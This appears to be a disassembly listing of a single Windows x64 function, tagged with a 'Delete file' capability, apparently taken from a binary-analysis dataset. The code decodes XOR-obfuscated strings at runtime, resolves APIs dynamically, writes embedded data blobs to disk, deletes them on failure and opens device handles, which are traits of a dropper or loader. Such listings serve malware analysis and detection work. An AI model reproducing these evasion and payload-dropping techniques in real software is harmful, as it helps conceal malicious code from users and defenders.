Function at 0x140006380
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x140033040]
xor rax, rsp
mov qword [rbp], rax
mov byte [rsp + 0x40], 0x7b
mov al, 0x15
mov cl, recv
mov dl, 0x1f
mov r8b, reloc.WS2_32.dll_socket
movzx r9d, r8b
mov r10b, 0x55
movzx r11d, dl
movzx ebx, r8b
movzx edi, r8b
xor esi, esi
xor al, 0x7b
mov byte [rsp + 0x41], al
xor cl, 0x7b
mov byte [rsp + 0x42], cl
xor dl, 0x7b
mov byte [rsp + 0x43], dl
xor r8b, 0x7b
mov byte [rsp + 0x44], r8b
xor r9b, 0x7b
mov byte [rsp + 0x45], r9b
xor r10b, 0x7b
mov byte [rsp + 0x46], r10b
xor r11b, 0x7b
mov byte [rsp + 0x47], r11b
xor bl, 0x7b
mov byte [rsp + 0x48], bl
xor dil, 0x7b
mov byte [rsp + 0x49], dil
mov byte [rsp + 0x4a], sil
lea rcx, [rsp + 0x41]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp - 0x48], rax
test rax, rax
je 0x140006518
mov byte [rsp + 0x50], 0x5d
mov cl, recv
mov dl, 0x29
mov r8b, 0x31
mov r9b, 0x1a
mov r10b, 0x38
movzx r11d, dl
mov bl, reloc.WS2_32.dll_inet_addr
movzx edi, r10b
mov al, 0x2f
mov sil, 0x2e
mov r14b, 0x34
mov r15b, 0x32
mov r12b, 0x33
xor r13d, r13d
xor cl, 0x5d
mov byte [rsp + 0x51], cl
xor dl, 0x5d
mov byte [rsp + 0x52], dl
xor r8b, 0x5d
mov byte [rsp + 0x53], r8b
xor r9b, 0x5d
mov byte [rsp + 0x54], r9b
xor r10b, 0x5d
mov byte [rsp + 0x55], r10b
xor r11b, 0x5d
mov byte [rsp + 0x56], r11b
xor bl, 0x5d
mov byte [rsp + 0x57], bl
xor dil, 0x5d
mov byte [rsp + 0x58], dil
xor al, 0x5d
mov byte [rsp + 0x59], al
xor sil, 0x5d
mov byte [rsp + 0x5a], sil
xor r14b, 0x5d
mov byte [rsp + 0x5b], r14b
xor r15b, 0x5d
mov byte [rsp + 0x5c], r15b
xor r12b, 0x5d
mov byte [rsp + 0x5d], r12b
mov byte [rsp + 0x5e], r13b
lea rdx, [rsp + 0x51]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140033478], rax
test rax, rax
je 0x140006516
lea rcx, [0x140033360]
call rax
xor esi, esi
test eax, eax
jne 0x140006518
mov eax, esi
cmp dword [0x140033364], 0xa
sete al
mov dword [section..data], eax
jmp 0x140006518
xor esi, esi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, ebx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call fcn.1400060a0
test al, al
je 0x140006549
mov rax, 0xffffffffffffffff
jmp 0x140006b2b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x140033480], xmm0
movups xmmword [0x140033490], xmm0
movups xmmword [0x1400334a0], xmm0
movups xmmword [0x1400334b0], xmm0
movups xmmword [0x1400334c0], xmm0
movups xmmword [0x1400334d0], xmm0
mov dword [0x1400334e0], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
movsxd rdi, r8d
test r8d, r8d
jle 0x1400065f3
mov rbx, rsi
movabs r14, 0x4ec4ec4ec4ec4ec5
lea rsi, [0x140000000]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r14
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + rsi + 0x2ea40]
mov byte [rbx + rsi + 0x33480], al
inc rbx
cmp rbx, rdi
jl 0x1400065c2
lea rcx, [rbp - 0x20]
call fcn.140005b60
nop
cmp qword [rbp - 0x10], 0
je 0x140006ade
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov r8d, 0x8708
lea rdx, [0x1400105a0]
lea rcx, [rbp - 0x20]
call fcn.14000d390
test al, al
je 0x140006ade
lea rcx, [rbp - 0x20]
call fcn.14000bb60
test al, al
jne 0x1400066e2
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov r8d, 0x9a78
lea rdx, [0x140018cb0]
lea rcx, [rbp - 0x20]
call fcn.14000d390
test al, al
je 0x140006ade
lea rcx, [rbp - 0x20]
call fcn.14000bb60
test al, al
jne 0x1400066e2
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov r8d, 0xc238
lea rdx, [0x140022730]
lea rcx, [rbp - 0x20]
call fcn.14000d390
test al, al
je 0x140006ade
lea rcx, [rbp - 0x20]
call fcn.14000bb60
test al, al
jne 0x1400066e2
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
jmp 0x140006ade
mov eax, 0x4b
mov word [rsp + 0x68], ax
mov ecx, reloc.WS2_32.dll_socket
mov dword [rbp - 0x48], ecx
movzx r10d, cx
movzx r11d, cx
movzx ebx, cx
mov r15d, 5
mov r12d, 0x2a
mov r13d, 0x27
movzx edi, ax
movzx eax, word [str..Ndd]
xor ax, di
mov word [rsp + 0x60], ax
movzx esi, word [0x14002ea32]
xor si, di
movzx r9d, word [0x14002ea34]
xor r9w, di
movzx r8d, word [0x14002ea36]
xor r8w, di
movzx edx, word [0x14002ea38]
xor dx, di
movzx ecx, word [0x14002ea3a]
xor cx, di
movzx eax, word [0x14002ea3c]
xor ax, di
xor r10w, di
mov word [rsp + 0x6a], r10w
mov r10d, 0x4b
xor r11w, r10w
mov word [rsp + 0x6c], r11w
mov r14d, 0x65
xor r14w, r10w
mov word [rsp + 0x6e], r14w
mov r14d, r10d
xor bx, r10w
mov word [rsp + 0x70], bx
xor r15w, r10w
mov word [rsp + 0x72], r15w
xor r12w, r10w
mov word [rsp + 0x74], r12w
xor r13w, r10w
mov word [rsp + 0x76], r13w
xor di, r10w
mov word [rsp + 0x78], di
movzx r10d, word [rsp + 0x60]
xor r10w, r14w
mov word [rsp + 0x7a], r10w
xor si, r14w
mov word [rsp + 0x7c], si
xor r9w, r14w
mov word [rsp + 0x7e], r9w
xor r8w, r14w
mov word [rbp - 0x80], r8w
xor dx, r14w
mov word [rbp - 0x7e], dx
xor cx, r14w
mov word [rbp - 0x7c], cx
xor ax, r14w
mov word [rbp - 0x7a], ax
xor eax, eax
mov word [rbp - 0x78], ax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rsp + 0x6a]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r13, rax
inc rax
test rax, 0xfffffffffffffffe
jne 0x140006987
mov eax, reloc.WS2_32.dll_socket
mov word [rbp - 0x70], ax
movzx edi, r14w
movzx esi, r14w
mov r12d, 0x59
mov r13d, reloc.WS2_32.dll_WSAStartup
movzx r10d, r13w
movzx r11d, ax
movzx r14d, word [str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
xor r14w, ax
movzx ebx, word [0x14002ea42]
xor bx, ax
movzx edx, word [0x14002ea44]
xor dx, ax
movzx r9d, word [0x14002ea46]
xor r9w, ax
movzx r8d, word [0x14002ea48]
xor r8w, ax
movzx ecx, word [0x14002ea4a]
xor cx, ax
movzx eax, word [0x14002ea4c]
xor ax, r11w
mov r15d, 0x4b
xor r15w, word [rbp - 0x48]
mov word [rbp - 0x6e], r15w
xor di, r11w
mov word [rbp - 0x6c], di
mov edi, reloc.WS2_32.dll_socket
mov r15d, 0x39
xor r15w, di
mov word [rbp - 0x6a], r15w
xor si, di
mov word [rbp - 0x68], si
xor r12w, di
mov word [rbp - 0x66], r12w
xor r13w, di
mov word [rbp - 0x64], r13w
xor r10w, di
mov word [rbp - 0x62], r10w
xor r11w, di
mov word [rbp - 0x60], r11w
xor r14w, di
mov word [rbp - 0x5e], r14w
xor bx, di
mov word [rbp - 0x5c], bx
xor dx, di
mov word [rbp - 0x5a], dx
xor r9w, di
mov word [rbp - 0x58], r9w
xor r8w, di
mov word [rbp - 0x56], r8w
xor cx, di
mov word [rbp - 0x54], cx
xor ax, di
mov word [rbp - 0x52], ax
xor eax, eax
mov word [rbp - 0x50], ax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp - 0x6e]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r13, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x140006ad6
mov byte [rsp + 0x40], send
mov al, 0x7c
mov cl, 0x66
mov dl, 0x7d
mov r8b, 0x61
mov r9b, 0x79
mov r10b, 0x60
movzx r11d, al
mov bl, 0x7e
mov dil, 0x3c
mov sil, 0x77
mov r14b, 0x6a
movzx r15d, sil
xor r12d, r12d
xor al, 0x12
mov byte [rsp + 0x41], al
xor cl, 0x12
mov byte [rsp + 0x42], cl
xor dl, 0x12
mov byte [rsp + 0x43], dl
xor r8b, 0x12
mov byte [rsp + 0x44], r8b
xor r9b, 0x12
mov byte [rsp + 0x45], r9b
xor r10b, 0x12
mov byte [rsp + 0x46], r10b
xor r11b, 0x12
mov byte [rsp + 0x47], r11b
xor bl, 0x12
mov byte [rsp + 0x48], bl
xor dil, 0x12
mov byte [rsp + 0x49], dil
xor sil, 0x12
mov byte [rsp + 0x4a], sil
xor r14b, 0x12
mov byte [rsp + 0x4b], r14b
xor r15b, 0x12
mov byte [rsp + 0x4c], r15b
mov byte [rsp + 0x4d], r12b
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
lea rax, [rsp + 0x41]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x140006a34
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x40]
call fcn.140002f10
nop
lea rcx, [rbp - 0x40]
call fcn.14000d820
mov qword [0x1400334e8], rax
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140006aa1
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006a95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006a95
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000dc64
mov rax, qword [0x1400334e8]
test rax, rax
je 0x140006ad6
mov rcx, r13
call fcn.140004700
test al, al
je 0x140006ad6
mov rcx, r13
call fcn.140003e40
test al, al
je 0x140006ad6
mov rcx, r13
call fcn.140004450
test al, al
je 0x140006ad6
mov rcx, r13
call fcn.140004c30
test al, al
jne 0x140006ae5
mov rcx, r13
call fcn.140007e60
mov r13, 0xffffffffffffffff
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140006b28
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b23
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b23
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000dc64
mov rax, r13
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.14000df00
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret